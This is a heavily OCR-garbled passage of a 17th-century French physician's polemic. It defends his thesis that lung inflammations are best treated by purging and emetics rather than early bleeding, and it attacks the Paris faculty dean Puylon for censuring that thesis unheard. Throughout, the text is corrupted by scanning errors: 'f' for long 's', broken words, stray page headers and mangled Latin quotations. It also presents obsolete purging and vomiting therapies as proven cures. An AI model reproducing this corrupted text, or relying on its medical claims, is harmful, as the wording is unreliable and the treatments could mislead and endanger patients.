Et dans tout le Baffin , Ics PaiTants
mefme ont obferve que ceux qui ef-
toienc feignez dans ces fortes d’in-
fiarnitiations de poi^rinc, mouroient
feurement ; dc que la plufpart des
aiitrjs fe tiroient d’afFaire ; ce qn’il
faut entendre, non pas de la feignee.
i$S Ohfervattonsfttr tef
abfolument, qui fouvent fait du bica*
jnais dc celle qu’oi) fait d’abord ou
qii’on reiter; trop fouvent; fans avoii
purge auparavant.
Diagoras celebre Atbee j auquel on
moncrpit les 'Tableaux Votifs', de
ceux qui s’eftoient fauvez d.u nau-
frage par la favour de Neptune , dans
le Temple duquel il cftoit j refpon-
dit a^Tcz a propos, que pour joget
de la pnilTance du Dieu qifils avoient
reelamd , il falloit tenir conapte dc
ceux , qui n’avoient pas lailTd de pe»
rir, en riu voquaiit : De mefme,
pour faire noftre experience jufte &
complete* nous ne devons pas difli-
muler ceux qui font morts» dcs fauf-
fes Inflammations de poiiSrittfi » apres
avoir eftc purgez. Nous en recoiv
noiffons fix ou fept. A f§avoir :
Lo fienr de Canouville, an Bourg*
I’Abbe,
Le Cuifinier dc Monfieur d.e Mo^
rangis.
Celuy de Madame de Ganvigny.
Le- Frere Hyacinthe , Jacobin.
Un Artifan , proche la Chapelle
fainte Agathe.
Feriptienmonits d'Hjver, 18 ^
Un Efcolier , demenrant Rue
Efcuycre. '
Ce nombre de inorts eft mediocre
fur plus de cent maladcs qui ont cfti
traicez,ou par moy-mcline , ou fui-
vant ma Duftrine „ & par mon con-
fcil ; &c eft bicn efioigne de foixan-
te, jufquES ou mes Confreres,ont eii
la hardicfle de le faire moncer au-
pres de Monfieur de Morangis ;
c’cft dequoy j'attends la preuve. Ec
Cependant, ces Meflieurs voudront
bien que je ne ni’inquiete pas beau-
coup d’un ft petit Martyrologg. Car
enfin , Hippocrate a grande raifbn^
de dire au tex. 2; du Pirognoft. Sa-
ms facere omnes agroios mpejfibiU efi,
Paree que , cunjmc il die au mefme
lieu , le Medecin n’eft pas appelle
alTez toft , & n’a pas le loifir'd’eftrc
employe centre la maladie ; bu bien
le malade, qui par le 1. Aphor. eft
oblige de faire fon devoir, y man¬
que : ee qui n’eft que trop ordinai¬
re, & eft arrive dans la plufpart de
ces fix qui font morts. Car le fieuc
de Canouvillc j qui dcs le.commen¬
cement de fa maladie i parut ortho-
xpo Obfervat'ions fur les
pnoi'que, ce qui, felon Hippocr. au
tex. li. du Prognoft. eft- iin fort mau-
vais figne, dans routes les afRcfion?
■ Peripneumoniques , prift encore des
remedes de TEfcoc Operateur, que
je ne fuis pas oblige degarantir. Lc
fecond fut purg6 trop tard , & cinq
jeurs apres que je I’avois 'propoft i
toute la Famille- de Monfieur dc
Morangis I’atteftera. Lei troifieme
n’cftoit point dc ma pratique , & je
n’y fils appelle qu’un ioiir avant fa
morr. Le Frere Jacobin, fe condui-
iit k fa faniaifie, 8 c apres avoir efte
notablement foulage par tin vomitoi-
rc trop Irger qu’il s’eftoit ordonnd
luy-mefme. au lieu d’en reprendre
un plus, fort, conime je luy conleib
lois , fe lift feigner centre- mon avis.
Sc fe conduifitde forte que ie fus
contraint de Tabandorrher, ce que
tous les Religieux de la Maifon at*
tefteroi’t. Je ne \ris le cinquicme,
qu’une fois en paflant : ^ pour le
dernier , ic fuis fort' perfuadd qu’il ne
mourut , que parce qu’il fut purge
trop Icgereinent.
CONCLVS ION.
J Efpere que tout Lefleur intelli¬
gent & definterell^ > fera convaincu
que maThefe eft tres-foocenable *, puis
eju’outre la Raifou & rExperience *
fa Dodlrinc eft celle de nos mcil-
leurs Autcursj Anciens^ ,\Jlodernes;
dumeprisou de fignorance defquels,
I’outrageufe Cenfure , dont on la vou-
lue flecrir, femble une preuve necef-
faire j qui deshonore noftre Profeffion,
& donne fuiet auxCritiques , d’appli-
quer ^ la Mrdecine, ce que Pline a
dit en gffneral au II. Chap.du Liv. ? j.
Jta tfi profeSo , artes defidia perdidii,
Maisfi cette Cenfure eftdefe( 3 :ueu>*
fe dans la mattere 5 elle nc feft pas
■ffioins dans la forme j parce que ceux
qui Font faite , n’ont aucun droit de
me Juger ; & ?moins encore de me
Condamnefj fans m’appeller uy rn’en*-
tendre. Ces deux fames eflentiellcs ,
fendent- leur procedure entierement
■infoiitenable-
Car Premierement , Meffieurs mes
C.illegucs me permc-tcront de leur
J9i Conchfioti.
s'il y a queJque difference dans le
temps de nos Receptions , il s’en
trouve une autre dans leur manierei
qoi ne leor eft pas avantageufe. Tout
le mondc Hjait que j’ay droit de leur
dire en plus d’un fens , ce que Galien
reprochc au Liv. de pargant- medt-
cam facult. Chap. j. a un certain
Medecin > qui luy ayant voulu con-?
tcfter quelque chofe , s’eufuit avant
que d’attendreTa reponfe. In
dem , luy dit-il, dijputamnem fuhter
fttgifli .fimilis pngiii , antedcjuatn
ItiHeim coyonam raptt , & atifngh ;
hodte -vtro tjutn redarguarie fithterfu"
gere^on pettris, confecfttetur enm te It-
l>ellm tfle. Tii as evite la Difpute , &
as pris la fuite , comme un Champion,
qui derobe la Couronne avant le Com¬
bat j & s'enfuit; mais aujourd’huy tu
n’cviteras pas' d’eftre convaincu ; car
ce Livre icy te fuivra.Cc peche d’ori-
gine devroit rendre ces Meflirurs, un
pcu plus refervez, & moins entrepre-
nans, &c leur faire croirc cue dt pen’-
fonne ^ perfoimej ils n’ontancun droit
de me Ccnfurer. P^r m Parers non
hahet mpertnm , nequt jtimdiciionem.
Coticlujicft. 15)3
lls ne le peuvenc fatre non plus en
formant une Faculte, ou College dc
trois Do£i:ei>rs. Parce qu’ils n’ont au-
cun Statut ny Exemple , qui authori-
fc leur entrcprifc. Nos Predeceireurs,
pour la plulpart tres-habiles gens,
nous one Jaifle une grande Siberte d’o-
pinions j il n’y a point de Ceufeur en
tiltre d’OfSce dans noftre Faculte ; 8c
iPcft.inouy parmy nous ,qu’uu Mo*
derateur ait communique fa Thefe>
avant que de la faire Iraprimer, 8c
diftribuer pour la Difpute.
Et certes avec grande raifon . cat
dans les- matieres Theologiques , 8c
qui concernont la Foy » Ton doit cap-
tivet I’cntcndement, & I’aflujettir i
rauthorite-de la revelation ; il faut
examiner jufejaes aux moindres ex-
preflionsj fata mum, ant ttnHS apex
mn tranfibtt a lege : mais en Mede-
cine I’on n’invente que trop peu,
Mundum tradidit dtifutatiam eorum-
C eft dans cette Science que I’efpric
Humain fe doit donner carriere > trou-
vant tons les jours de nouveaux Sy-
ftemts, & de nouveaux Remedes •
jufques ^ ce qu’il aitratteint la per-
ip4 Coficlujion.
- fedion , done nous fommes encore
bien eloign^s; & Ton a droit de fc
plaindre du peu de progrez qui s’eft,
fine depuis Hippocr. qui dans le Liv.
de arte , appelle I’invention des cho-
fes utiles , 'iMilftfinff, Scienint
opta & votam. Et plus bas il dit»
qu’il n’eft pas donne a tous d’inven-,
ter 3 Invemit fttnt autem , non d qui-
hmvU ; fed ijs epni fimnl po^unt ,
bm aut difcipltna hbernlis ant natH-
ra non infelix comigit-
Mais , me dira-1 on , e’eft une Do*
61 'rine Paradoxe.; qu'importe fi ellc
eft veritable ? I’Auteur cn merite plus
d’honneur & plus de recompenfe.
Elle n’eft Paradoxe que par la negli¬
gence de ceux qui n’ont pas pris le
ibiti de s’en inftruire. Quand Galien
vint k Rome, & y fift paroiftre un
Medecin > iVc» verbu fed operibtu »
comme il le dit fi fouvent luy-mef-
me 3 on I’appejloit ^
au X. de la Method.
Chap. 4. Il n’en eftoit pas moins
habile Homme * & te qui eft ^ re-
marquer, ce nom luy eftoit egale-
ment donne par ceux,. UhAa-
Concltifton. 19$
hant , ^ imuUbantm , par fes Ap-
probatfuri, & par fes Jaloux ; & il
tiroit gloiie de tous les deux.
Mais quaiid le Paradoxe feroit faux,
quel grand nial feroit-il en Medeci-
ne J puis qu’il ne feroit point corv-
lirmc par I’Experience , ny par con-
fequenc fuivy dans la Pratique > &
ainli ion Auteur ne nuiroit gueres
qu’i fa piopre Reputation. Il ne fe¬
roit point neceflairc de prononcet
que fa Thefe feroit pernieieufe au
genre Huraain ; il fuffiroit de la eon-
vaincre d’erreur, & de la refuter^
Mais Tun eft plus aife que fautre
c'cft la Dodlrine d’Hippocn au Liv.
de fr£cepttonib, \ors (\u\\ defttnd aus
Medecins de Gontefter avec chalcur „
& d’cn venir aux injures. fJec er.im
jurejurando pojfum , ^uod
Tuedici ramcinatio , nmxjtiam alieri
'noeere poierit i tmkecillis enim hoc mo-
do uppamerit. Ariftote dit en quel-
que endroic, que ees propofitions.
* ont du moins cela. de • commode ».
dS^d hahitnm nofirttm exerteant , &
Hippoer. au eomnaencement du Liv„
dt am , appelle ies. Ceniurcs qti’oni
' I f) 6 Cenclufiet},
en fait t&'ntyfoiilui '? <pvintf * a.n%*llui,
me preuve qu’on donne de la ma¬
lice de fa nature , & de fon igno¬
rance i car ajonte-t-il j Selu artis tgna-
rii , hoc ipfum factum eonvemt ; & efi
eorum qui ambhtose quidem tnvtdent
( 0 <a«77^u^'«iv ) propter tmperttiam
vero meliora praflare nequeum ; ut ad
aliorttm opera , -vel re£la calumnianda I
vel non reUa reprehendenda, fefe con-
vertant.
Cette Philotimie caiife depuis long-
temps , dc grands defordres dans
, noftre Saculte. C’eft-elle, plutoft que
Je 2ele du bien Public , qui a Cen-
furemaThefe, & je ne doute pas »
que fi on Teuft trouvce tant foit pea
plus mauvaife , elle n’euft pafle avec
les autres. Mais je n’oferois me plain-
dre de cette paffion , puis qu’elle n’a
pas cpargne Galien, & autrefois f*
chafle de Rome , auffi bien que'
Quintus fon Precepteur.
Ceux qui fouffrent quelques effets
de cette malice, qui n’eft que trop- ■
frequence dans noftre Profeflion , ont
dequoy fe confoler, cn lifant le I.
Chap, de ia Method. & celiiy, de
Conchjton. ^ 197
f>W0£'/tt. ad pejlhtim. 011 cet Auteur
qui n'eft pas moins Eloquent > que
S^avant en Medecine, raconte bleu
au long fes miferes, & dit, quit ejf
mctfaire , que celuj qui fait la Jld ede-
ctne en PhUofo[>he, & eomme un di-
gne Suecejfeur d‘Hipfocr. Pour retom-
pen ft dt Jon n , s’at tende d P exit ,
tomme Quintiti ; ou foit tom les jours
txpofe a la fiaude & d la calomnte.
S’il ejl d'uH naturel ttmide, tl eji re-
duit d fairs tom les jours de nouueUes
foumijfions , & excufes , & mtner une
vie de Litvre , efant continuellement
dans la crainte, & dans I’attente de
quelque nouveau malheur. S’ll eft ait
tontraire hard'p & refolu , & quuu
feu dt vra) merite luj fajfe prendre
It ^ariy de refifter d des Hommes ft
mechants , fans tftre ajfe^, inftruit de
leurs tnanvaifes Pratiques ; il faut de
deux chofes I’une , ou qu’tl fuccombe
tnfin , & ploye le Col fom le joug quoit
luy veut impoferi d>u s’il continue Jt
fo deffendre, & qu’un peu de bonne
fortune le fomienne , H ne peut e'viter
d ePfre dans une diftenston perpttuelle >
•u plutoPi une gthrre civile fort im~
jpS Cettclujton,
fortune. Ec puis &ncore il ajoute 5 ceuK
dene ^ui cherchem la vtrtte Jincere-
mer.t , & four I’amour d’elle wefme
fe doivent frefarer d la retrahe quand
ils auront hien reconnu la mahee de ■
leur temps , ^ui les ewpefehe d’apfor-
ter ^uelque profit aux Hommes > fe
mettants ainfi a fabrj de I’orage dans
quelque Pert ajfeurL En ce't efiat, rtls-
font inconnm au monde , ils ne le fe-
ront pas d Dteu , fouverain Ouvrier de
toutes chofes , dont ils font Its amis
& les honnefies gens qui menent une
•vie tranqmlle , les eonnoiilrontqu tls>
fe contentent done de cette fortune , &
qutls fouffrent vetontiers que les me-
chants feient efltmeK. du z'ulgaire.
L’on croirok a entendre parler
Gal. qu’il eiift efte perfecute pour la
Foy , neannioins ce n’eftoit que pour
la Mei^ecinc. Mais route verite , dc
qoclque nature qu’elle fok , a cela
de commun , que-d’abord die attire
la haine & la perfecution des Hom¬
ines, qu’elle allujcttk pourtant a ia
fin. Noftre Auteur au mefme endi oiu
apporte deux raifons du defordre de
la Mededne : la premiere eft £Oe-
Cortclttfio»> 9
gueil j & le manvais Gouft desgens de
Qualite de fon fieclei> qui preferoient
aux meilleurs Medecins, lesplusvils
Mjniftres de leurs voluptez , & vou-
loient etre flattez par, tdus ceux qui ap-
prochoient d’eux , exigcaijs une com-
plaifance fervile d’unAn,auquel ilfaut js
fe foumettre , fi I’on veut en prcfiter : jxrac.
La feconde eftoit la flatterie & la baf- rtiw.
filTe des Medecins de ce temps-li,
dont il peine nai'vemenc Ies» rofeurs,
en ces termes ; C‘ejioie«t gens, dit-iU
aimotent mieux pajroifire Medecins^
de I’efheveritablement i cher-
choient fettlement a plaire at* F tuple ^
&. gagyier fan approbation ; s'eecHpans
toHi les jours d /alder les Grands, Les
accompagner par les ues , & les re-
conduire fort loin , s’etudiants a trott-^
ver de bons 'mots , & d paroifire gens
dt bonne chere& par leurs mceurs^
leurs habus , & leurs tables , per/ua-
der a tout le monde > qutls eBoient di-
gnes d’eflre, eflimez^ heureux & at-
mables, Se dignos ef e ^ui bean & a- ’
tnabiles haberemur. Ces Meffieurs ne
pouvoieiit trouver bon que Galien ,
ftudieux, comme il le die luy-mefmc ,
ioo Coftchfion.
Sc Amant paffionn^ de la verlti »des
vine troubltr dans la poflcllion tran-
quille on ils eftoient, de I’honneur &
des avantages dus ^,la Medecine.
Lciir 'Morale eftoic diredement
coturaire ^ celle qu’Hippoc. ordonne
. aux Medecinsj-dans le Liv. depnecept.
ou ce grand Homme approuve & con-
feille I’honnefte complaifance. Gra-
tiam ament, .^ud hominihm complaceas
non tMo : digna tnim efi nsedtei perfoid.
Mais il defFend I’afFettation & la crop
grande curiofite i & fur tom I’ojienta-
liots 'Poetique , ne pent fane, dit-il*
d'honnetir d nn Jldedecin , & .^Ht f‘iit
cenridifire le fen d'attachement ^
four [a Prefejfion.' iS-vnet/tlvy
j^eqne terti proho itidnftriam mnlto
lahere panant, in altttm nfnm tram-
ferri j qttod per fe fola > ttt eligatnr
grata Jit. Intitaherit enm fact , ina^
Item labor em cum ofientat'tone.
Mais an Liv. de elegantid , noftre
Auteur , qui eftoic agffi honnefte
Homme que grand Medecin., enfei-
!gne ce que fes Difciples doivent pra-
tiquer , en ces termes : Oportet fa-
fiemiam trtensferrt ad Mtdkitiam , ^
Conclufion. tqi
Medicitiant ad ^apient 'tant:, nam omnia
ad. fapientidm requirmtur , infant
tn Medictr.d , pecantaram conumptat y
reveremia, verecandia j habttPU fabmtf-
fat y aathontas , jadicmm , <^mts, oe-
earfatio , mmdnia , ‘Dobirtna , cogni-
tio atilium , & purgationum nccejfa-
riaram , faperfittionit odiant , ,praftan-
tia dtvma. Voili une belle & noble
idee » qne nous propofc un Payen s
le Chriftianifmej s’il eft vray que nous
y croyons , eft incotnparablemenC
plus releve & plus parfaic. Ne pre-
ferons pas la Sapience du Pais > ^
Celle de la Grece ; & moins enco¬
res i celJe de I’Evangile.
A regard de Monheur Puylon, &
des autres Docteurs de Paris, s’il eft
vray qu’il y en ait quelques-uns, qui
ayent foufcric ^ fa Cenfure. Car jc
fuis contraint d’en ignorer le notn-
bre & le-nom, Monlieur le Doyen
ayant refufe, de me comrauniquer le
Dei-ret, par lequel il me condamne.
Ce que j’impute ^ qudqucs reflexions
qu’il aura faices fur fon precede, &C
air jufte remords d’avoir voulu d'es-
bonoret une Perfonne publique fort
r
jTb i Cowltifton.
injuttement. Qiioy qu'il eii foit» je
fais en ce.lteu ma declaration haute
& lincere, que j’eftime , honore > &
refpeibe le Corps entier de la tres-
Illuftre , & tres-Ancicnne Faculte de
Paris , Mere Sc Nourrice de tant de
grands Hommes , done nous voyons
encore plufieurs , faire autant d’hon-
neur a leur Frofeflion qu’ils en re-
9oivent. Enforte que li Ton avoir de-
mand^ mon confentemenr, ie n’eufle
fait aucune difHculte, de foufmettre
Sc ma Perfonne , & ma Dodfrine , ^
cdt Areopage de Medecine.
Mais I’on me permettra de n a-
voir pas tout ^ fait la mefme defe¬
rence , pour les Comitez, ou Bureaux
particuliers. Car enfin , dans unc
Gompagnie fi nombreiife» tous les
Dodteurs ne peuvenc edre d’nn me-
r-ite egal > ny d’un mefme fentiment
& ie erois qu’il m’eft permis de pen-
fer dans mon fens, cc que Monllear
Patin a dit li fouvent dans le fien >
Hie , & ahb 't ^ vettdiMr piper ; bieti
que ie ne vouluffe pas me donner la
liberte de penfer , ny de dire, ce
qu’il a eferit dans fa Lettre 106'.
ConclupoH. ioj
2 ^vm fommes encore m.dans noftreFa~
etiUeifl ejl mpojfible qii’il nj en ait tou-
fottrs ^tielqHttn defotirhe,& d'tgnoranu
C’cft crop dire ; mais il fe peut rencon-
trer, dans une deliberation, de jeunes
Docteurs , qui ne doucenc de rien, Sc
pour fordinaire , font les plus affirma-
tifsi de meme que les tonneaux vuides,
font toCijours plus de bruit j que ceux
qui fiuit pleins. il eft auffi un genre de
S^avantSjqui me feroit Culpedicommc
les intervenants k la Requefte de feu
Moniieor Blondel; des gens qui coti"
fomtnent leiir vie , fur le Seneque
& le Plaute, ^chercher desArchatf
raes, pour faire de belles Thefes, bien
Morales , Impenetrables , & ^ I’ef-
preuve de tous les Vocabulaircs , &
pour la Medecine, croient que e’eft
un Pa'is de Droit Coutumier , plutoft
que de Droit eferit tres-curieux * au
refte, de ne rien inventer de nouveau*
fe maintenants fans reproehe de ce
coftc li i tnais fort ardents > au con-
traire, k pourfuivre ceux qu’un pea
de Genie, & d’elevation porteroient
^ fe diftinguer; fuflent ils de Icut
Facultd, comme Ic pauvre feu f Amy
zp 4 Conclufion.
inon Gompatrjote. Mais par delfus
tous a j’apprehende les refles de cetcc
faftion ennemie declaree des Reme-
deS Mineraux, vaiiifue par I’oppofi-
tbn de la meilleure & plus faine par-
tie dc cet Illuftre Corps, qui a mieux
aitnc fe retratfler ^enereufement» a
fexetnple d’Hippocr. que de s’opi-
niaftrer dans un iiaauvais fcntiment.
II n’eftoit rien de Ci aife ^ Mori-
fieur le Doyen , qui avoic eft^ nourry
de ce hid:, de ramaffer en vertu de
fa Charge , quclques uns de ces Mef-
fieurs encore outrez de la Condara-
nation de leur party, & de leur pro* '
pofer la Cenfure de ma Thefe , com-
ihe une confolation de leur dilgrace.
Monfieur Puylon a voulu fans doute
fignaler fon Doyenne, en maltrai-
tant un Dodeur , qui paroilToit en
mefme temps, Antimontal & Haemo'
phobe, livre par fes Confreres, & qu’-
on pouvoit ontrager impunement; en-
forte qu’il n’oferoit pas fe formalifer
de fa Condamnation, & ne verroit
pas plutoft la verge de Cenfeur levee ,
qu’il fe coucheroit le ventre a terre ,
pour elite battu ^ diferetion.
Cenclufoit. 20 j
Mais taut accabie que je fuis, da -
poids de fautorite ds ces Meflicurs,
je me fens encore aifez de force, pour
leur dire ^ que la Cenfiire de Paris
n’eft pas mieux fondee que celle de-
Caen 5 qoe pour la maciere elle eft
expofee aux mefmes objedioiis j Sc
pour la forme > les Cenfeurs de Paris,
ont encore moins de jurifdicftiori fur
moy , que ceux de ma Faculte. £x-
tra tenitoritim jtis dictnti, tmfmt non
faretur , die la Loy derniere , jjT. de ;»•
r't/diUion.. L’on mefprife impunement
les Sentences d’un Juge incompetent.
En effet, I’aatborite de c^s Mefr
ficiirs feroit attachee, ou bren ^ la
Faculte de Paris, dont ils font mem-
bres', ou bien k la Charge de Doyen ;
ou enfin i la perfonne de Monfieur
Puylon. La Faculte de Paris, n’a ny
Tiltre ny Pofleflion, qui luy attribue
droit d’infpcdlion fur les autres Fa-
cultez de I’Europe , fondees par les
Roys auftibien qu’elle , & confirmees
par les Papes. Dans ma Reception
de Dofteur, ie n’ay prefte aucun fer- ^
ment de^ la reconnoiftre , & ie de-
mande 1 adioinftion de toutes les au-
S z
^o 6 Cotieltifien.
tres Facultez da Koyautne, pour dtf-
fenJre m>ftre indepcndancc , & noftre
Iibene commune i que mes^ColIegues
ont trahie pour me perdre, failants
la mcfme fauce que le Cbeval de la
Fable > qtii pour fe venger du Cerfj
a’affuiettit a I’Homme.
Si la Facuke de Paris n’a pas dc
jurifdiftion fur moy , fon Doyen n’en
peut pas prctcndrc > puis qu’il n’eft
confiderable, que par le rang qu’il
tient dans la Facuke; enforte que
Wonfieur Puylon nc peut deffendre
fon Decree, que par fon authoritd
perfonnellc. C’eft ^ luy de declarer >
s’il en pretend quelqu’unc fur tons
les Dodteurs du Royaume; & s’il
veue renouveller les pretenfions, dc
eet Ancien Menecrates, qui difoit
chez ^lian, j^egnat in c<elo fnpur ,
i^cnecrates , in iJ^edtana. N'ayant
jamais eu I’honneur de voir Monfieur
Puylon , je ne f^ay fi pour I’exterieur *
il eft reveftu de ce caradlere d’autho-
ritc vifible & reconnoiftable , & fi
t’on peut dire de luy,
Confute Fabricioy dignstf^tte nnmif-
male vultm.
Coticlttfion^ toy
En cc cas , il devroic faire graver fon
Eftatnpe, tou frapper fa Mcdaille ;
commc fift autrefois feu Monfieui
Patio fon Predeccfleur- Pour fa ca¬
pacity > je n’en doutc point * tnais |e
n’en ay. jainais rien veu , & il ne
m’eft point tomby de Livre en-
tre les mains , qni portc fon nom.
Peut-cftre qa’il n'a pas le ibifird’ef-
crire , & qu’il fe contente de Cen-
furer , parce que , comme die Ic meG
me Monfieur Patin. dans fa Lettre
7/. La vie ^ue ees zJ^Jeffienrs, n}e~
nent a Paris , efl trap agttee ; & t^ue
I’txercice de la ‘Profe’jfion Itur ofle cette
tranejnillite^ cjti il fam avoir , quand
veut eferire poHr PEternite-. ‘
C’cft pourtant domroage, querMon?
ficur Piiylon ne veuille prendre la
peine d’iaftruirc le Public : car put?
qu’il prononce fi affirmativement_»
que maThefe eft appuyee for de faux
principes i il faut qu’il en connoilTe
d autres veritables , & fort evtdents*
Gette eonnoiflanee eft un grand
trefor, qu’il ne doit pas tenir cache
dans fon Porte-feuille. S’il en veus
faite part aux Mortels»- bientoft ila
iij
ao8 CencluJloH.
xih le feront plus j nous vivrons da
moins , autant que Jes Patriarches ; la
Medecine fera demonftrative : Ce ne
fera plus, tAn tetiet interpoilii, &
qna nulla incanftantior , coin me Plinc
luy reprochc ; & nos Ennemis ne
pourronc plus dire-apres un Auteut
15 grave, Fraudes homtmm & i>ige~
morum cbpiura , officinas In-ventre t^aSy
in ejuthns fua futque venalis premitu->
tur vita.
Mais ce qui rn’embarralle ,■ eft que
le merme Monfieur Puylon , Gcnfure
comme pernicicufe , une Methode qui
de cent Peripneumoniques , en gue-
rit quatre-vingt-dix ; & ■ en mefrae
temps , laille rooiirir quarante ou cin-
quante mille Perfonnes de cetiema*.
ladie,'dans la feule Ville de Paris>
en quatre ou cinq, mois de temps-
Gela me fait apprehender qu’il n’y
■ait beaucoup d’illufion dans la Theo-
rie , & peu de feurece dans fa Pra¬
tique. wEt je crois qu’jl feroit biea
raieux de cbercher avec moy quel-
que 'Paralogifme cache dsns la- Me-
thode ■ ordinaire , qui peiit eontri-
buer ^ une ft grande mortalite] que de
Conchjian- 2,op
Cenfurer, [athedra , la Doftrin#
de ma Thefe; laquelle on pent dire
fans roftenfer » qu'il n’a pas bien
eomprife.
Et "e’eft I’inconvenicnt ordinaire 3
^ ceux qui condamnent les gens fans
les entendre j ce qui eft dans un Pro-
eez Critninel > la plus grande des
nullitezj Non major efi iniqHitoi pro-
batam innoemtam damna£e , ^uartf
inandkam, dit Laclance, Liv. j.
Chap, I. & la Loy qui dans Ciceron »
lib. de legib. donnoit le pouvoir au
Di<iJateur, de faire roourir les Cir
loyens » fans les entendre dans Jeurs
deffenfes, a toiijours efte regardee ,
commo un refte de k prenniere Bar¬
baric des Remains. Les Herefiarques
mefmes , lors qu’ils font encorC; vi“
vanes , font citez anx. Conciles, eni*
tendus, convaincos > avant que d’e¬
tre condamnez i & pour remonter ^
la fource de toute Juftiee , Dieu mef-
me i fift comparoiftre Adam devanfc
liiy 3 lots qu’il le voulut condanlnejr
& jiunir de loin . peche, zyddam ubd
*s i ll eut* la patience d’entendre
aauyaifcs taifons* •
210 Conclujion.
Meflieurs les Cenfeurs de Paris
voudront > pcut-eftre me donner ' le
change > cn dilant que le Jugement
dont je me plains* n'eft qu’un fimple
avis, donne fur la Confnltation d?,
ma Thefe, qu’ils font “hbres dans
leurs .opinions, & que je leur fais,
un Procez fans fujet, [onfilto y
mmo tefietm 6 .K le Droit. Mais i.;
cette reponfe , nc feroit qu^un defav.eq
lacite de leur procedure, & feroit pon-,
iioiftre qu’iis y ont fenty le defautde,
Juftice , &’d’authorite que je leur re-/j
proche , eftants reduics ^ fe fervir
d’une fauffe couleur, pour faire une
malice , & fc, mettre en mc/me temps
^ convert de fa plainte. z. Mon-
fieur Puylon dans une.Lettre de fa
main, eferite au fieur Barraffin , da
i.7. Avril dernier, qualifie fon De-
cret du nom de Cenfure; & en ef*.
fet, elle en a tout fair , eftant con-
ceue en termes injurieux & oiitra-
geants, au lieu que les avis des Me-
decThs eonfultez, font raifonnes &.
epneeus en termes doux j^civijs, oi*
tout au plus douteux , qui font voijf
les difficuitez qu’ils pnt d’approuver,.
Concluflon. zii
ce qu’en effct ils rejettent , Ltmtate
orationii, ret trifihiam mhiganter De-
plus, les fimpiesavis he s’cnrcgiftrent
pas dans les Archives d’une Facuke,
pour ecernifer la home de ccux qui
ne fonc coupables , que d’cftie d’une
opinion differente de la noftre,
II eft done certain, que I’avis de
Mellieurs les Cenfeurs de Paris, te-
noit beaucoup de ceux de Meffieurs
deTourneJlc, qui par leurs avis con-
damnent un Homme k la mort j
& que s’il euft fabfifte , je cou-
rois grand danger dc perdre la vie
Civile, plus precicufe , fans compa-
raifon que la nature! le j Mais j’efpe-
re , Dieu aidant, mettre les chofes en
tel eftat, que les ]uges & leurs amis
feront plus en rifque de I'une & dc
I’autre, que le condamnd. A Ic bien
prendre , il m’eft indifferent, de quel
nom Monlieur Puylon veuille quali¬
fier fon Decret; & pourveii que ma
Thefe foit Dilputec, la Verite reta-
klie, I’Erreur & la malice confon-
due'i jeluy lailTe yolontiers le choix ,
ou d’une Condamnation injuftci ou
d une mauvaife Confultation i d’ua
ill Cmicltifion.
Jugetnent fans avis} ou d’un avis
ians-Jugemenc.
Je fuis fafche qu’un Homme im¬
portant, & d’une auffi -belle repu¬
tation dans le monde , que Monfieut
Ptiylon fe foit laifl^ furprendre ^ de»
Normands plus rufes que luy» qui
de Ju^^e qu’il pouvoit ^re, le ren-
dants Partie, Tone engage dans une
qucrelle , done ils apprehendoient lo
iuccez i enlbrte que tons trois en«
femble , navoient pas I’aflcuranee
d’en atcaquer un feul. Monlieur lo
Doyen fe devoit confiderer luy meft.
me , plus que ect honneftc Homme
dont il parle dans la Lettre , qui lay
prefenta ma Thefej & eft plus ca¬
pable d’entretenir le defordre, &
d’aiguifer les couteaux, que de met-
tre la paix parmy nous. 11 devoit en¬
core plus confiderer la Faeultd dont
il fe trouve leChef, &ne pas com-
promettre Tun & I’autre fans ntcef-
fitc, avec un Me’dccin de Village , qui
content de 1‘obfcurite tranquille ou
la fortune I’a fait naiftre , & ion choix
le. retient, ne recherchoit pas I’hon-
neur que ces Meffieurs luy ont fait,
de le contraindre , S mefurer fou epee
Conclufion. ilj
4vec la leur. Faculte de Paris au-
roic grande raifofi de leur en fairs
une petite Mercuriale.
Monfieur Puylon cuft evite cct cm*
barras, s*il euft bien voulu aupafa*
vant routes chbfes i me demandcr
raifon de ma Thefe, que je luf cuffc
rendue tres - dvilement, ^ peu pres
comme je le viens d’eferire j & il euft
fans doutc reconnu. qu’il falloit ou
la juger Problematique & foutenablet
ce qui fuffit^pour une Thefe» & la
met ^ convert de touteCenfure : ou
du moins laifler la matiere indecife,
nc pas s’appercevoir des confequen-
ces y ayant trop d’inconvenient ^
condamner hautement & avec cha-
leur, une Dodlrinc qui eft cclle d’Hip*
pocr. de Galien*j de Paul ^gincte ^
d’AWus, de Trallian , de Caelius Au-
relianus , d’Avicenne, de Fernel.
Duret. Hollicrj Amatus Lulifanus,
& tant d’autres llluftres Auteurs,
Anclens & Modernes. Enforte qu’il
me femble n’en avoir obmis que fore
peu qui foient de quelque reputa-
don ; fi ce n’cft peut-eftre le Fameux
Botallus j que Monfieur Patin . dans
la Lettte j. confidere jufqu’aa
a 14 Conchflen.
poindt, de vouloir que cet Auteuf
icrve de fuppIemeHt, Hippocr. & i
Gal. Lts beaux & bans Secrets de nofire
Jldefbier, dit-il, dans les u 4 pho‘
rtfmes , & dans le Prognofiie d’Piipp.
& dans la tJ^ethode de (fialien, avee
le Linfre de la feignee » qne fi cela ne
fnffit pas t ^ue I'on y ajoute le "Botal.
II fcmble par que BocaIlus> foic
Ic principal objedJ: de la devotion de
Monfieur Patin, & par tout ce quc
j'ay dit & allegud cy-defTus, il paroift
que la Dodlrine de cet Auteur > a plus
d’influence dans la Pratique ordinai*
re t que celle de route TAntiquice.
Pour moy , je traite ce culte d’ldola-
trie, & de Fornication, & fats Pro-
feflion ouverte de fuivre Hippocr. &
Gal. dans lefquels Je.trouve , & I’au-
thoritc folide & maicftueufe des An-
ciens > & toutc la grace de I’inven-
tion des Modernes. Enforte que , fe¬
lon moy , Tun des plus grands defer*
dres de la Medecine, & qui la me¬
nace le plus , eft le mefpris , quc te-
moignent la plufpart des ieuncs gens*
de cette Dodtrine; laquelle ils ne font
pas capablcs d’entendre , fans un bon
Interpretc.
ConclufioH, 21 j
Interprcte. llle multum profectt, cut
Galenm & Hipfocr. pUcem. C’efi;
done aux Profctleurs ^ les guerir dc
ce dcfgouft, & ik Ics fevrer des fauf-
fts douceurs > qu’ils trouvent dans
qudques Auteurs madernes, en leuc
donnant cccte Marine lalutalre , dans
laquellc il peuvcnc, felon leurs ta¬
lents , faire trouver, & la foliditc de
la noarriturc. & lesgoufts divers de la
nouveaute.
C’eft ainll que par la Ic£lure & la
meditation attentive dc cec Auteur *
deux ans auparavant que Ic Medecin
Anglois euft parii dansle mondc , j'em-
